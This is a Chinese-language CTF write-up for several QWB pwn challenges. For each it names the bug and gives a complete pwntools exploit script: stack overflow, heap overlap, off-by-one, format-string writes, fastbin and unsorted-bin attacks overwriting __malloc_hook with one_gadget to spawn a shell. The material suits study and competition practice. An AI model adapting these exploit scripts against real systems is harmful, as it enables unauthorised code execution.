前言
强网杯的题目质量挺高的,比赛也比较豪,奈何我太菜,我就单纯想捞一个安慰奖。
比赛的时候做了几道简单的pwn,顺便复现一下其他题目。
babymessage
栈溢出漏洞
先泄露libc再直接改ret地址为one_gadget就可以getshell
#coding:utf8
from pwn import *
context.log_level = 'debug'
debug = 0
elf = ELF('babymessage')
if debug:
sh = process('./babymessage')
libc = elf.libc
else:
sh = remote('123.56.170.202', 21342)
libc = ELF('libc-2.27.so')
def name(name):
sh.sendlineafter('choice: \n',str(1))
sh.recvuntil('name: \n')
sh.send(str(name))
def mess(mess):
sh.sendlineafter('choice: \n',str(2))
sh.recvuntil('message: \n')
sh.sendline(str(mess))
def show():
sh.sendlineafter('choice: \n',str(3))
mess('v'*0x8)
mess('a'*0x10+p64(0X400ac3)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x40091A))
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
mess('v'*0x8)
mess('a'*0x10+p64(libc_base+0x10a45c))
sh.interactive()
babynotes
age那里存在溢出漏洞,可以由这几行代码实现
resgist('a'*0x18,'a'*0x20,'1')
add(0,0x80)
add(1,0x90)
delete(0)
reset('a'*0x18,'a'*0x20,'273')
溢出可以修改size,剩下的利用堆重叠就直接做了
#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('babynotes')
if debug:
sh = process('./babynotes')
libc = elf.libc
else:
sh = remote('127.0.0.1', 10000)
libc = ELF('libc-2.23.so')
def resgist(name,motto,age):
sh.sendafter('name: \n',str(name))
sh.sendafter('motto: \n',str(motto))
sh.sendlineafter('age: \n',str(age))
def add(idx,size):
sh.sendlineafter('>> ',str(1))
sh.recvuntil('index: \n')
sh.sendline(str(idx))
sh.recvuntil('size: \n')
sh.sendline(str(size))
def show(idx):
sh.sendlineafter('>> ',str(2))
sh.recvuntil('index: \n')
sh.sendline(str(idx))
def edit(idx,data):
sh.sendlineafter('>> ',str(4))
sh.recvuntil('index: \n')
sh.sendline(str(idx))
sh.recvuntil('note: \n')
sh.send(str(data))
def delete(idx):
sh.sendlineafter('>> ',str(3))
sh.recvuntil('index: \n')
sh.sendline(str(idx))
def reset(name,motto,age):
sh.sendlineafter('>> ',str(5))
sh.sendafter('name: \n',str(name))
sh.sendafter('motto: \n',str(motto))
sh.sendlineafter('age: \n',str(age))
def check():
sh.sendlineafter('>> ',str(6))
resgist('a'*0x18,'a'*0x20,'18446744073709551615')
add(0,0x80)
add(1,0x90)
delete(0)
reset('a'*0x18,'a'*0x20,'273')
check()
add(3,0x90)
edit(1,'a'*0x30)
show(1)
libc_base = u64(sh.recv(0x40)[0x38:0x3e].ljust(8,'\x00')) - 0x3c4b78
log.success('libc_base: '+hex(libc_base))
edit(1,'a'*0x28+p64(0x71))
add(2,0x68)
delete(2)
edit(1,'a'*0x28+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(2,0x68)
add(0,0x68)
edit(0,'a'*0x13+p64(libc_base+0xf1207)*2)
add(4,0x10)
#gdb.attach(sh)
sh.interactive()
Just_a_Galgame
这里存在8字节的溢出,可以改top chunk,这道题提示使用House of Orange的技术
edit那里没有检查idx的大小,存在越界读写
#coding:utf8
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('game')
if debug:
sh = process('./game')
libc = elf.libc
else:
sh = remote('127.0.0.1', 10000)
libc = ELF('libc.so.6')
def gift():
sh.sendlineafter('>> ',str(1))
def movie(idx,name):
sh.sendlineafter('>> ',str(2))
sh.recvuntil('idx >> ')
sh.sendline(str(idx))
sh.recvuntil('name >> ')
sh.send(str(name))
def confess():
sh.sendlineafter('>> ',str(3))
def show():
sh.sendlineafter('>> ',str(4))
def leave(data):
sh.sendlineafter('>> ',str(5))
sh.sendafter('QAQ\n\n',str(data))
gift()
movie(0,'a'*0x8+p64(0xf91))
confess()
gift()
show()
sh.recvuntil('1: ')
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3c5188
log.success('libc_base: '+hex(libc_base))
gift()
leave(p64(libc_base+libc.symbols['__malloc_hook']-0x60))
movie(8,p64(libc_base+0xf1207)*2)
gift()
sh.interactive()
Siri
格式化字符串漏洞
由于程序开启了pie和full relro,所以不能改got表,改栈上数据也失败了,由于printf函数在输出一个大数的时候会调用malloc,所以改mallo_hook为onegadget,最后再使用printf函数调用即可
#coding:utf8
from pwn import *
import time
#context.log_level = 'debug'
debug = 0
elf = ELF('Siri')
if debug:
sh = process('./Siri')
libc = elf.libc
else:
sh = remote('123.56.170.202', 12124)
libc = ELF('libc.so.6')
def vuln(payload):
sh.recvuntil('>>> ')
sh.send('Hey Siri!')
sh.recvuntil('>>> ')
sh.send('Remind me to '+payload)
vuln('%83$p')
sh.recvuntil('to ')
libc_base = int(sh.recv(14),16) - 0x21b97
log.success('libc_base: '+hex(libc_base))
one_gadget = 0x10a45c
print hex(libc_base+one_gadget)
one1 = libc_base+one_gadget&0xffff
one2 = libc_base+one_gadget>>16 &0xffff
one3 = libc_base+one_gadget>>32 &0xffff
print hex(one1)
print hex(one2)
print hex(one3)
payload = 'A'*5+'%'+str(one1-0x20)+'c'+'%18$hn'
payload += 'a'*19+p64(libc_base+libc.symbols['__malloc_hook'])+'\x00'
vuln(payload)
sh.recvuntil('>>> ')
payload = 'A'*5+'%'+str(one2-0x20)+'c'+'%18$hn'
payload += 'a'*19+p64(libc_base+libc.symbols['__malloc_hook']+2)+'\x00'
vuln(payload)
sh.recvuntil('AAAAA')
payload = 'A'*5+'%'+str(one3-0x20)+'c'+'%18$hn'
payload += 'a'*19+p64(libc_base+libc.symbols['__malloc_hook']+4)+'\x00'
vuln(payload)
sh.recvuntil('AAAAA')
sh.recvuntil('>>> ')
sh.sendline('Hey Siri!')
sh.recvuntil('>>> ')
sh.sendline('Remind me to %100000c\x00')
sh.interactive()
easypwn
禁用了global_max_fast,存在off-by-one漏洞
解题思路:
- 利用off-by-one漏洞实现堆重叠,改chunk的bk指针进行unsorted bin attack,改写global_max_fast;
- 利用fastbin attack攻击stdout,泄露libc,由于此时只能使用fastbin了,所以提前多布置一些0x71大小的chunk;
- 改写malloc_hook为onegadget
为了便于调试,建议别开alsr
#coding:utf8
from pwn import *
#context.log_level = 'debug'
debug = 1
elf = ELF('easypwn')
if debug:
sh = process('./easypwn')
libc = elf.libc
else:
sh = remote('node3.buuoj.cn', 25793)
libc = ELF('libc-2.27-64.so')
def add(size):
sh.sendlineafter('Your choice:\n',str(1))
sh.recvuntil('size:\n')
sh.sendline(str(size))
def edit(idx,data):
sh.sendlineafter('Your choice:\n',str(2))
sh.recvuntil('idx:\n')
sh.sendline(str(idx))
sh.recvuntil('content:\n')
sh.send(str(data))
def delete(idx):
sh.sendlineafter('Your choice:\n',str(3))
sh.recvuntil('idx:\n')
sh.sendline(str(idx))
add(0x18)#0
add(0x118)#1
add(0x68)#2
add(0xf8)#3
add(0x18)#4
delete(0)
edit(2,'a'*0x60+p64(0x140+0x70))
delete(3)
add(0x18)#0
add(0x68)#3
add(0x218)#5
delete(5)
add(0x38)#5
add(0x68)#6
add(0x68)#7
add(0x68)#8
edit(1,'a'*0x68+p64(0x121)+'\n')
delete(5)
add(0x118)#5
delete(3)
edit(1,p64(0)+'\xe8\x37'+'\n')
add(0x60)#3
#
#gdb.attach(sh)
delete(8)
delete(3)
edit(1,'\x40'+'\n')
edit(5,'a'*0x38+p64(0x71)+'a'*0x68+p64(0x71)+'\xdd\x25'+'\n')
delete(5)
add(0x68)#3
add(0x68)#5
add(0x68)#8
edit(8,'A'*0x33+p64(0xfbad1887)+p64(0)*3+'\x00'+'\n')
libc_base = u64(sh.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3c5600
if libc_base == -0x3c5600:
sh.close()
exit(1)
log.success('libc_base: '+hex(libc_base))
delete(6)
edit(1,'a'*0x68+p64(0x121)+'a'*0x38+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23)+'\n')
add(0x68)#6
add(0x68)#9
edit(9,'a'*0x13+p64(libc_base+0xf0364)*2+'\n')
add(0x10)
sh.interactive()
QWBlogin
直接看nop师傅的文章吧,师傅写得很详细,前面的解密环节比较麻烦
direct
漏洞点很容易找出来,edit的时候对offset没有检查
show功能实际是delete功能,这道题目也没有puts函数,无法通过stdout来泄露libc
有关puts和stdout的关系可以去libc.so看源码
在open和close有两个陌生函数,opendir函数和readdir函数内涵及用法
经测试发现在open的时候会申请0x8040的一个超大chunk,在read的时候会读入一些东西
这道题到了这里其实大致可以猜到了,需要修改超大chunk来泄露libc,将文件名改成main_arena的地址,需要用到unsorted bin attack
#coding:utf8
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('direct')
if debug:
sh = process('./direct')
libc = elf.libc
else:
sh = remote('127.0.0.1', 10000)
libc = ELF('libc.so.6')
def add(idx,size):
sh.sendlineafter('Your choice: ',str(1))
sh.recvuntil('Index: ')
sh.sendline(str(idx))
sh.recvuntil('Size: ')
sh.sendline(str(size))
def edit(idx,offset,size,data):
sh.sendlineafter('Your choice: ',str(2))
sh.recvuntil('Index: ')
sh.sendline(str(idx))
sh.recvuntil('Offset: ')
sh.sendline(str(offset))
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Content: ')
sh.send(str(data))
def delete(idx):
sh.sendlineafter('Your choice: ',str(3))
sh.recvuntil('Index: ')
sh.sendline(str(idx))
def opendir():
sh.sendlineafter('Your choice: ',str(4))
def readdir():
sh.sendlineafter('Your choice: ',str(5))
opendir()
readdir()
add(15,0xf8)
edit(15,-0x8290,0x20,'\xff'*0x20)
add(0,0xf8)
add(1,0x88)
add(2,0xf8)
add(3,0x88)
add(4,0x68)
add(5,0x88)
delete(0)
delete(2)
edit(1,-0xf8,0x10,'\xc3\x72')
edit(1,-0x100,0x10,p64(0))
edit(3,-0x100,0x10,p64(0)*2)
add(0,0xf8)
readdir()#change
readdir()#
libc_base = u64(sh.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3ebca0
log.success('libc_base: '+hex(libc_base))
delete(4)
edit(5,-0x70,0x10,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(6,0x68)
add(7,0x68)
edit(7,0x13,0x10,p64(libc_base+0x10a38c)*2)
add(8,0x10)
#gdb.attach(sh)
sh.interactive()
oldschool也是tcache和unsorted bin attack的考点,就不浪费时间了
反思一下:比赛的时候不好好打,赛后去做发现题目其实并不难。。以后得加强练习,调整好比赛的心态了。